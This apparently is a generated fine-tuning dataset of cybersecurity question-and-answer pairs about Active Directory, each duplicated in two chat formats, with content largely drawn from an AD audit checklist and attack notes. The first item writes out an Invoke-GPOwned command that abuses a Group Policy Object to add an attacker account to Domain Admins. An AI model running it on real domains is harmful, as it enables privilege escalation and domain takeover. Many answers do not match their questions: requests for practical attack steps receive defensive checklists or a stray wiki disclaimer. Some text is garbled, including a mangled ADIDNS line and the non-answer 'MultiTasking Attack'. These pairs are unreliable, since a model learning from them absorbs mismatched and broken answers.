What does this command do: `Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"`?

Response: This command is used for group policies - multitasking attack. MultiTasking Attack


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Group policies - Force Group Policy update?

[Assistant] Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Group policies - Force Group Policy update?

Response: Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Group policies - Force Group Policy update?

[Assistant] Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Group policies - Force Group Policy update?

Response: Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Group policies - Other exploitation paths

[Assistant] In addition to the aforementioned exploitation paths, GPOs can be abused in other ways: leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Group policies - Other exploitation paths

Response: In addition to the aforementioned exploitation paths, GPOs can be abused in other ways: leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Group policies - Other exploitation paths

[Assistant] In addition to the aforementioned exploitation paths, GPOs can be abused in other ways: leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Group policies - Other exploitation paths

Response: In addition to the aforementioned exploitation paths, GPOs can be abused in other ways: leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Movement work?

[Assistant]
> [!WARNING]
> This is a work-in-progress

Below is a checklist to go through when conducting a pentest. Order is irrelevant and many tests require authenticated or admin access. This checklist answers "what to audit on AD?" rather than "how to pwn AD?". A mindmap is in the works for that matter :wink: .

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!WARNING]
> This is a work-in-progress

Below is a checklist to go through when conducting a pentest. Order is irrelevant and many tests require authenticated or admin access. This checklist answers "what to audit on AD?" rather than "how to pwn AD?". A mindmap is in the works for that matter :wink: .


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Movement

[Assistant]
> [!WARNING]
> This is a work-in-progress

Below is a checklist to go through when conducting a pentest. Order is irrelevant and many tests require authenticated or admin access. This checklist answers "what to audit on AD?" rather than "how to pwn AD?". A mindmap is in the works for that matter :wink: .

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!WARNING]
> This is a work-in-progress

Below is a checklist to go through when conducting a pentest. Order is irrelevant and many tests require authenticated or admin access. This checklist answers "what to audit on AD?" rather than "how to pwn AD?". A mindmap is in the works for that matter :wink: .


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Movement - NTLM configuration work?

[Assistant] * [ ] Obsolete versions of this protocol (LM, LMv2 and NTLM(v1)) are disabled and NTLM (all versions) is disabled when possible. This allows to stay safe from NTLM relay, NTLM capture and cracking and pass-the-hash attacks.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Movement - NTLM configuration work?

Response: * [ ] Obsolete versions of this protocol (LM, LMv2 and NTLM(v1)) are disabled and NTLM (all versions) is disabled when possible. This allows to stay safe from NTLM relay, NTLM capture and cracking and pass-the-hash attacks.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Movement - NTLM configuration

[Assistant] * [ ] Obsolete versions of this protocol (LM, LMv2 and NTLM(v1)) are disabled and NTLM (all versions) is disabled when possible. This allows to stay safe from NTLM relay, NTLM capture and cracking and pass-the-hash attacks.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Movement - NTLM configuration

Response: * [ ] Obsolete versions of this protocol (LM, LMv2 and NTLM(v1)) are disabled and NTLM (all versions) is disabled when possible. This allows to stay safe from NTLM relay, NTLM capture and cracking and pass-the-hash attacks.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Movement - Kerberos configuration

[Assistant]
* [ ] krbtgt's password has been changed in the last 6 months to prevent Golden Ticket persistence attacks. From UNIX-like systems, this can be checked with Impacket's Get-ADUsers.py script.
* [ ] The RC4 etype is disabled for Kerberos to prevent overpass-the-hash and NTLMv1 capture and cracking to Silver Ticket attacks. This can be checked by attempting to obtain a TGT with an NT hash.
* [ ] No account is configured with Do not require Kerberos Pre-Authentication allowing for ASREProast attacks, or make sure those account have strong password resistant to cracking.
* [ ] User accounts that have at least one ServicePrincipalName, hence vulnerable to Kerberoast, have a strong password, resistant to cracking.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Movement - Kerberos configuration

Response:
* [ ] krbtgt's password has been changed in the last 6 months to prevent Golden Ticket persistence attacks. From UNIX-like systems, this can be checked with Impacket's Get-ADUsers.py script.
* [ ] The RC4 etype is disabled for Kerberos to prevent overpass-the-hash and NTLMv1 capture and cracking to Silver Ticket attacks. This can be checked by attempting to obtain a TGT with an NT hash.
* [ ] No account is configured with Do not require Kerberos Pre-Authentication allowing for ASREProast attacks, or make sure those account have strong password resistant to cracking.
* [ ] User accounts that have at least one ServicePrincipalName, hence vulnerable to Kerberoast, have a strong password, resistant to cracking.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Movement - Kerberos configuration?

[Assistant]
* [ ] krbtgt's password has been changed in the last 6 months to prevent Golden Ticket persistence attacks. From UNIX-like systems, this can be checked with Impacket's Get-ADUsers.py script.
* [ ] The RC4 etype is disabled for Kerberos to prevent overpass-the-hash and NTLMv1 capture and cracking to Silver Ticket attacks. This can be checked by attempting to obtain a TGT with an NT hash.
* [ ] No account is configured with Do not require Kerberos Pre-Authentication allowing for ASREProast attacks, or make sure those account have strong password resistant to cracking.
* [ ] User accounts that have at least one ServicePrincipalName, hence vulnerable to Kerberoast, have a strong password, resistant to cracking.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Movement - Kerberos configuration?

Response:
* [ ] krbtgt's password has been changed in the last 6 months to prevent Golden Ticket persistence attacks. From UNIX-like systems, this can be checked with Impacket's Get-ADUsers.py script.
* [ ] The RC4 etype is disabled for Kerberos to prevent overpass-the-hash and NTLMv1 capture and cracking to Silver Ticket attacks. This can be checked by attempting to obtain a TGT with an NT hash.
* [ ] No account is configured with Do not require Kerberos Pre-Authentication allowing for ASREProast attacks, or make sure those account have strong password resistant to cracking.
* [ ] User accounts that have at least one ServicePrincipalName, hence vulnerable to Kerberoast, have a strong password, resistant to cracking.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Movement - Patch management work?

[Assistant]
* [ ] Domain Controllers are patched against ZeroLogon.
* [ ] Domain Controllers are patched against Kerberos sAMAccountName spoofing.
* [ ] MS14-068 is patched, preventing forging of powerful Kerberos tickets.
* [ ] PrivExchange patches are applied, protecting Exchange servers from authentication coercion attacks relying on the PushSubscription API, and ACE abuse attacks relying on the EXCHANGE WINDOWS PERMISSION group having WriteDacl permissions against the domain object allowing for DCSync.
* [ ] Patches for NTLM tampering vulnerabilities (e.g. CVE-2019-1040, CVE-2019-1019, CVE-2019-1166) are applied to limit NTLM relay attacks.
* [ ] Latest security patched are applied (e.g. for ProxyLogon, ProxyShell, PrintNightmare, ...).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Movement - Patch management work?

Response:
* [ ] Domain Controllers are patched against ZeroLogon.
* [ ] Domain Controllers are patched against Kerberos sAMAccountName spoofing.
* [ ] MS14-068 is patched, preventing forging of powerful Kerberos tickets.
* [ ] PrivExchange patches are applied, protecting Exchange servers from authentication coercion attacks relying on the PushSubscription API, and ACE abuse attacks relying on the EXCHANGE WINDOWS PERMISSION group having WriteDacl permissions against the domain object allowing for DCSync.
* [ ] Patches for NTLM tampering vulnerabilities (e.g. CVE-2019-1040, CVE-2019-1019, CVE-2019-1166) are applied to limit NTLM relay attacks.
* [ ] Latest security patched are applied (e.g. for ProxyLogon, ProxyShell, PrintNightmare, ...).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Movement - Patch management

[Assistant]
* [ ] Domain Controllers are patched against ZeroLogon.
* [ ] Domain Controllers are patched against Kerberos sAMAccountName spoofing.
* [ ] MS14-068 is patched, preventing forging of powerful Kerberos tickets.
* [ ] PrivExchange patches are applied, protecting Exchange servers from authentication coercion attacks relying on the PushSubscription API, and ACE abuse attacks relying on the EXCHANGE WINDOWS PERMISSION group having WriteDacl permissions against the domain object allowing for DCSync.
* [ ] Patches for NTLM tampering vulnerabilities (e.g. CVE-2019-1040, CVE-2019-1019, CVE-2019-1166) are applied to limit NTLM relay attacks.
* [ ] Latest security patched are applied (e.g. for ProxyLogon, ProxyShell, PrintNightmare, ...).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Movement - Patch management

Response:
* [ ] Domain Controllers are patched against ZeroLogon.
* [ ] Domain Controllers are patched against Kerberos sAMAccountName spoofing.
* [ ] MS14-068 is patched, preventing forging of powerful Kerberos tickets.
* [ ] PrivExchange patches are applied, protecting Exchange servers from authentication coercion attacks relying on the PushSubscription API, and ACE abuse attacks relying on the EXCHANGE WINDOWS PERMISSION group having WriteDacl permissions against the domain object allowing for DCSync.
* [ ] Patches for NTLM tampering vulnerabilities (e.g. CVE-2019-1040, CVE-2019-1019, CVE-2019-1166) are applied to limit NTLM relay attacks.
* [ ] Latest security patched are applied (e.g. for ProxyLogon, ProxyShell, PrintNightmare, ...).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Movement - Access Management (IAM/PAM)

[Assistant]
* [ ] Local administrators have a unique, random, complex and rotating password on every server/workstation (e.g. use of LAPS). This can be checked by dumping a local admin password or hash and attempting credential stuffing (i.e. trying to log in on other resources with that password/hash).
* [ ] Strong password and lockout policies exist and are applied (complexity enabled, at least 12 chars, 16 for admins, must change every 6 months) and users know not to use simple and guessable passwords (e.g. password == username) limiting credential bruteforcing, guessing, stuffing and cracking attacks.
* [ ] Tier Model is applied (administrative personnel have multiple accounts, one for each tier, with different passwords and security requirements for each one) and a "least requirement" policy is followed (i.e. service accounts don't have domain admin (or equivalent) privileges, ACEs are carefully set) limiting credential bruteforcing, guessing, stuffing and cracking attacks.
* [ ] Sensitive network shares are not readable by all users. A "need to know" policy is followed, preventing data leak and other.
* [ ] No account is configured with Kerberos Unconstrained Delegation capabilities.
* [ ] No computer account has admin privileges over another one. This limits NTLM relay attacks.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Movement - Access Management (IAM/PAM)

Response:
* [ ] Local administrators have a unique, random, complex and rotating password on every server/workstation (e.g. use of LAPS). This can be checked by dumping a local admin password or hash and attempting credential stuffing (i.e. trying to log in on other resources with that password/hash).
* [ ] Strong password and lockout policies exist and are applied (complexity enabled, at least 12 chars, 16 for admins, must change every 6 months) and users know not to use simple and guessable passwords (e.g. password == username) limiting credential bruteforcing, guessing, stuffing and cracking attacks.
* [ ] Tier Model is applied (administrative personnel have multiple accounts, one for each tier, with different passwords and security requirements for each one) and a "least requirement" policy is followed (i.e. service accounts don't have domain admin (or equivalent) privileges, ACEs are carefully set) limiting credential bruteforcing, guessing, stuffing and cracking attacks.
* [ ] Sensitive network shares are not readable by all users. A "need to know" policy is followed, preventing data leak and other.
* [ ] No account is configured with Kerberos Unconstrained Delegation capabilities.
* [ ] No computer account has admin privileges over another one. This limits NTLM relay attacks.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Movement - Access Management (IAM/PAM) during a pentest?

[Assistant]
* [ ] Local administrators have a unique, random, complex and rotating password on every server/workstation (e.g. use of LAPS). This can be checked by dumping a local admin password or hash and attempting credential stuffing (i.e. trying to log in on other resources with that password/hash).
* [ ] Strong password and lockout policies exist and are applied (complexity enabled, at least 12 chars, 16 for admins, must change every 6 months) and users know not to use simple and guessable passwords (e.g. password == username) limiting credential bruteforcing, guessing, stuffing and cracking attacks.
* [ ] Tier Model is applied (administrative personnel have multiple accounts, one for each tier, with different passwords and security requirements for each one) and a "least requirement" policy is followed (i.e. service accounts don't have domain admin (or equivalent) privileges, ACEs are carefully set) limiting credential bruteforcing, guessing, stuffing and cracking attacks.
* [ ] Sensitive network shares are not readable by all users. A "need to know" policy is followed, preventing data leak and other.
* [ ] No account is configured with Kerberos Unconstrained Delegation capabilities.
* [ ] No computer account has admin privileges over another one. This limits NTLM relay attacks.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Movement - Access Management (IAM/PAM) during a pentest?

Response:
* [ ] Local administrators have a unique, random, complex and rotating password on every server/workstation (e.g. use of LAPS). This can be checked by dumping a local admin password or hash and attempting credential stuffing (i.e. trying to log in on other resources with that password/hash).
* [ ] Strong password and lockout policies exist and are applied (complexity enabled, at least 12 chars, 16 for admins, must change every 6 months) and users know not to use simple and guessable passwords (e.g. password == username) limiting credential bruteforcing, guessing, stuffing and cracking attacks.
* [ ] Tier Model is applied (administrative personnel have multiple accounts, one for each tier, with different passwords and security requirements for each one) and a "least requirement" policy is followed (i.e. service accounts don't have domain admin (or equivalent) privileges, ACEs are carefully set) limiting credential bruteforcing, guessing, stuffing and cracking attacks.
* [ ] Sensitive network shares are not readable by all users. A "need to know" policy is followed, preventing data leak and other.
* [ ] No account is configured with Kerberos Unconstrained Delegation capabilities.
* [ ] No computer account has admin privileges over another one. This limits NTLM relay attacks.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Movement - Credentials Management

[Assistant]
* [ ] Caching of domain users is limited on workstations and avoided on servers to prevent credential dumping of LSA secrets from registry.
* [ ] Group Policy Preferences Passwords are not used.
* [ ] LSA protection are enabled to prevent LSASS dumping.
* [ ] Network shares readable by all domain users don't contain sensitive data like passwords or certificates limiting credential dumping.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Movement - Credentials Management

Response:
* [ ] Caching of domain users is limited on workstations and avoided on servers to prevent credential dumping of LSA secrets from registry.
* [ ] Group Policy Preferences Passwords are not used.
* [ ] LSA protection are enabled to prevent LSASS dumping.
* [ ] Network shares readable by all domain users don't contain sensitive data like passwords or certificates limiting credential dumping.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Movement - Credentials Management?

[Assistant]
* [ ] Caching of domain users is limited on workstations and avoided on servers to prevent credential dumping of LSA secrets from registry.
* [ ] Group Policy Preferences Passwords are not used.
* [ ] LSA protection are enabled to prevent LSASS dumping.
* [ ] Network shares readable by all domain users don't contain sensitive data like passwords or certificates limiting credential dumping.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Movement - Credentials Management?

Response:
* [ ] Caching of domain users is limited on workstations and avoided on servers to prevent credential dumping of LSA secrets from registry.
* [ ] Group Policy Preferences Passwords are not used.
* [ ] LSA protection are enabled to prevent LSASS dumping.
* [ ] Network shares readable by all domain users don't contain sensitive data like passwords or certificates limiting credential dumping.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Movement - Domain-level configuration and best-practices

[Assistant]
* [ ] The Machine Account Quota domain-level attribute is set to 0, preventing domain users from creating domain-joined computer accounts.
* [ ] Default special groups are empty, limiting, among other things, out-of-box ACE abuses.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Movement - Domain-level configuration and best-practices

Response:
* [ ] The Machine Account Quota domain-level attribute is set to 0, preventing domain users from creating domain-joined computer accounts.
* [ ] Default special groups are empty, limiting, among other things, out-of-box ACE abuses.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Movement - Domain-level configuration and best-practices during a pentest?

[Assistant]
* [ ] The Machine Account Quota domain-level attribute is set to 0, preventing domain users from creating domain-joined computer accounts.
* [ ] Default special groups are empty, limiting, among other things, out-of-box ACE abuses.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Movement - Domain-level configuration and best-practices during a pentest?

Response:
* [ ] The Machine Account Quota domain-level attribute is set to 0, preventing domain users from creating domain-joined computer accounts.
* [ ] Default special groups are empty, limiting, among other things, out-of-box ACE abuses.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Movement - Networking, protocols and services work?

[Assistant]
* [ ] SMB signing is required when possible, especially on sensitive servers, preventing NTLM relay attacks.
* [ ] LDAP signing is required on Domain Controllers, preventing NTLM relay attacks.
* [ ] Extended Protection for Authentication (EPA) is required, especially for Domain Controllers supporting LDAPS, preventing NTLM relay attacks.
* [ ] IPv6 is either fully configured and used or disabled, preventing DHCPv6 spoofing with DNS poisoning attacks.
* [ ] LLMNR, NBT-NS and mDNS are disabled, preventing MITM attacks relying on those multicast/broadcast domain name resolution protocols.
* [ ] WPAD is disabled, preventing WPAD spoofing.
 [ ] A record exists in ADIDNS for the ` (wildcard) preventing powerful ADIDNS poisoning attacks. Preferably, this is a TXT` record.
* [ ] The print spooler is disabled on Domain Controllers and sensitive servers to prevent the PrinterBug authentication coercion attack.
* [ ] The WSUS server (if any) is configured with HTTPS, to prevent ARP poisoning with WSUS spoofing attacks.
* [ ] Set-up packet filtering & inspection and enable port security on network switched to prevent ARP poisoning attacks and network secrets dumping.
* [ ] Set-up VLANs, 802.1X or other NAC (Network Access Control) securities to limit the attackers progress within the network.
* [ ] Plaintext protocols are avoided when using credentials (HTTP, FTP, ...), in order to minimize the risks of the capture of credentials transiting on the network.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Movement - Networking, protocols and services work?

Response:
* [ ] SMB signing is required when possible, especially on sensitive servers, preventing NTLM relay attacks.
* [ ] LDAP signing is required on Domain Controllers, preventing NTLM relay attacks.
* [ ] Extended Protection for Authentication (EPA) is required, especially for Domain Controllers supporting LDAPS, preventing NTLM relay attacks.
* [ ] IPv6 is either fully configured and used or disabled, preventing DHCPv6 spoofing with DNS poisoning attacks.
* [ ] LLMNR, NBT-NS and mDNS are disabled, preventing MITM attacks relying on those multicast/broadcast domain name resolution protocols.
* [ ] WPAD is disabled, preventing WPAD spoofing.
 [ ] A record exists in ADIDNS for the ` (wildcard) preventing powerful ADIDNS poisoning attacks. Preferably, this is a TXT` record.
* [ ] The print spooler is disabled on Domain Controllers and sensitive servers to prevent the PrinterBug authentication coercion attack.
* [ ] The WSUS server (if any) is configured with HTTPS, to prevent ARP poisoning with WSUS spoofing attacks.
* [ ] Set-up packet filtering & inspection and enable port security on network switched to prevent ARP poisoning attacks and network secrets dumping.
* [ ] Set-up VLANs, 802.1X or other NAC (Network Access Control) securities to limit the attackers progress within the network.
* [ ] Plaintext protocols are avoided when using credentials (HTTP, FTP, ...), in order to minimize the risks of the capture of credentials transiting on the network.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Movement - Networking, protocols and services

[Assistant]
* [ ] SMB signing is required when possible, especially on sensitive servers, preventing NTLM relay attacks.
* [ ] LDAP signing is required on Domain Controllers, preventing NTLM relay attacks.
* [ ] Extended Protection for Authentication (EPA) is required, especially for Domain Controllers supporting LDAPS, preventing NTLM relay attacks.
* [ ] IPv6 is either fully configured and used or disabled, preventing DHCPv6 spoofing with DNS poisoning attacks.
* [ ] LLMNR, NBT-NS and mDNS are disabled, preventing MITM attacks relying on those multicast/broadcast domain name resolution protocols.
* [ ] WPAD is disabled, preventing WPAD spoofing.
 [ ] A record exists in ADIDNS for the ` (wildcard) preventing powerful ADIDNS poisoning attacks. Preferably, this is a TXT` record.
* [ ] The print spooler is disabled on Domain Controllers and sensitive servers to prevent the PrinterBug authentication coercion attack.
* [ ] The WSUS server (if any) is configured with HTTPS, to prevent ARP poisoning with WSUS spoofing attacks.
* [ ] Set-up packet filtering & inspection and enable port security on network switched to prevent ARP poisoning attacks and network secrets dumping.
* [ ] Set-up VLANs, 802.1X or other NAC (Network Access Control) securities to limit the attackers progress within the network.
* [ ] Plaintext protocols are avoided when using credentials (HTTP, FTP, ...), in order to minimize the risks of the capture of credentials transiting on the network.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Movement - Networking, protocols and services

Response:
* [ ] SMB signing is required when possible, especially on sensitive servers, preventing NTLM relay attacks.
* [ ] LDAP signing is required on Domain Controllers, preventing NTLM relay attacks.
* [ ] Extended Protection for Authentication (EPA) is required, especially for Domain Controllers supporting LDAPS, preventing NTLM relay attacks.
* [ ] IPv6 is either fully configured and used or disabled, preventing DHCPv6 spoofing with DNS poisoning attacks.
* [ ] LLMNR, NBT-NS and mDNS are disabled, preventing MITM attacks relying on those multicast/broadcast domain name resolution protocols.
* [ ] WPAD is disabled, preventing WPAD spoofing.
 [ ] A record exists in ADIDNS for the ` (wildcard) preventing powerful ADIDNS poisoning attacks. Preferably, this is a TXT` record.
* [ ] The print spooler is disabled on Domain Controllers and sensitive servers to prevent the PrinterBug authentication coercion attack.
* [ ] The WSUS server (if any) is configured with HTTPS, to prevent ARP poisoning with WSUS spoofing attacks.
* [ ] Set-up packet filtering & inspection and enable port security on network switched to prevent ARP poisoning attacks and network secrets dumping.
* [ ] Set-up VLANs, 802.1X or other NAC (Network Access Control) securities to limit the attackers progress within the network.
* [ ] Plaintext protocols are avoided when using credentials (HTTP, FTP, ...), in order to minimize the risks of the capture of credentials transiting on the network.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Movement - Active Directory Certificate Services?

[Assistant]
* [ ] The CA is configured correctly (the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is not set). This prevents the corresponding domain escalation attack.
* [ ] There are no certificate templates that are badly configured. This prevents the corresponding domain escalation attack.
* [ ] AD-CS web and RPC endpoints are secured against AD-CS NTLM relay attacks (HTTPS, EPA (Extended Protection for Authentication) and encryption enforced).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Movement - Active Directory Certificate Services?

Response:
* [ ] The CA is configured correctly (the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is not set). This prevents the corresponding domain escalation attack.
* [ ] There are no certificate templates that are badly configured. This prevents the corresponding domain escalation attack.
* [ ] AD-CS web and RPC endpoints are secured against AD-CS NTLM relay attacks (HTTPS, EPA (Extended Protection for Authentication) and encryption enforced).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Movement - Active Directory Certificate Services

[Assistant]
* [ ] The CA is configured correctly (the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is not set). This prevents the corresponding domain escalation attack.
* [ ] There are no certificate templates that are badly configured. This prevents the corresponding domain escalation attack.
* [ ] AD-CS web and RPC endpoints are secured against AD-CS NTLM relay attacks (HTTPS, EPA (Extended Protection for Authentication) and encryption enforced).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Movement - Active Directory Certificate Services

Response:
* [ ] The CA is configured correctly (the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is not set). This prevents the corresponding domain escalation attack.
* [ ] There are no certificate templates that are badly configured. This prevents the corresponding domain escalation attack.
* [ ] AD-CS web and RPC endpoints are secured against AD-CS NTLM relay attacks (HTTPS, EPA (Extended Protection for Authentication) and encryption enforced).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about ASREProast - Theory

[Assistant]
The Kerberos authentication protocol works with tickets in order to grant access. A ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast).

The pre-authentication requires the requesting user to supply its secret key (DES, RC4, AES128 or AES256) derived from the user password. Technically, when asking the KDC (Key Distribution Center) for a TGT (Ticket Granting Ticket), the requesting user needs to validate pre-authentication by sending a timestamp encrypted with it's own credentials. It ensures the user is requesting a TGT for himself. Once validated, the TGT is then sent to the user in the KRB_AS_REP message, but that message also contains a session key. That session key is encrypted with the requested user's NT hash.

Because some applications don't support Kerberos preauthentication, it is common to find users with Kerberos preauthentication disabled, hence allowing attackers to request TGTs for these users and crack the session keys offline. This is ASREProasting.

While this technique can possibly allow to retrieve a user's credentials, the TGT obtained in the KRB_AS_REP messages are encrypted cannot be used without knowledge of the account's password.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
The Kerberos authentication protocol works with tickets in order to grant access. A ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast).

